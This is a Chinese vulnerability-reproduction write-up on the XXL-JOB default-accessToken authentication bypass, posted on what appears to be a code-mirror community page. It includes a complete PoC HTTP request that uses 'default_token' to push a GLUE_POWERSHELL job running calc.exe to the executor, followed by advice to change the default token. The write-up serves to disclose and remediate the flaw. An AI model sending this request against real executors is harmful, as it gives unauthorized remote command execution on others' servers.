漏洞复现-XXL-JOB accessToken 存在身份认证绕过漏洞
xxl-job
xxl-job: 是一个分布式任务调度平台,核心设计目标是开发迅速、学习简单、轻量级、易扩展。
项目地址:https://gitcode.com/gh_mirrors/xx/xxl-job
免费下载资源
·
1.漏洞描述
XXL-JOB是许雪里(XXL-JOB)社区的一款基于java语言的分布式任务调度平台。
2.影响版本
3.影响范围
4.漏洞分析
首先通过微步的漏洞通报说是
src/main/resources/application.properties
默认情况下是非空的,也就是xxl.job.accessToken=default_token
XXL-JOB 》GLUE模式(问题核心点):
XXL-JOB为了灵活支持多语言以及脚本任务,提供了创新的 “GLUE模式”,该模式任务特点如下:
多语言支持:支持Java、Shell、Python、NodeJS、PHP、PowerShell……等类型。
Web IDE:任务以源码方式维护在调度中心,支持通过Web IDE在线开发、维护。
动态生效:用户在线通过Web IDE开发的任务代码,远程推送至执行器,实时加载执行。
查看官方文档可以看到执行器RESTful API中触发任务接口说明
其中的任务运行模式有以下几种
Poc:
POST /run HTTP/1.1
Host: 127.0.0.1:9999
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
XXL-JOB-ACCESS-TOKEN: default_token
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Length: 365
{
"jobId": 1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "SERIAL_EXECUTION",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1586629003729,
"glueType": "GLUE_POWERSHELL",
"glueSource": "calc.exe",
"glueUpdatetime": 1586699003758,
"broadcastIndex": 0,
"broadcastTotal": 0
}
5.修复建议
官方已修复该漏洞,建议用户修改调度中心和执行器配置项 xxl.job.accessToken 的默认值
参考链接:
https://www.xuxueli.com/xxl-job/#5.10%20%E8%AE%BF%E9%97%AE%E4%BB%A4%E7%89%8C%EF%BC%88AccessToken%EF%BC%89
GitHub 加速计划 / xx / xxl-job
27.16 K
10.79 K
下载
xxl-job: 是一个分布式任务调度平台,核心设计目标是开发迅速、学习简单、轻量级、易扩展。
最近提交(Master分支:3 个月前 )
e5d26ba2 - 3 个月前
977ad87b - 4 个月前
更多推荐
已为社区贡献1条内容
所有评论(0)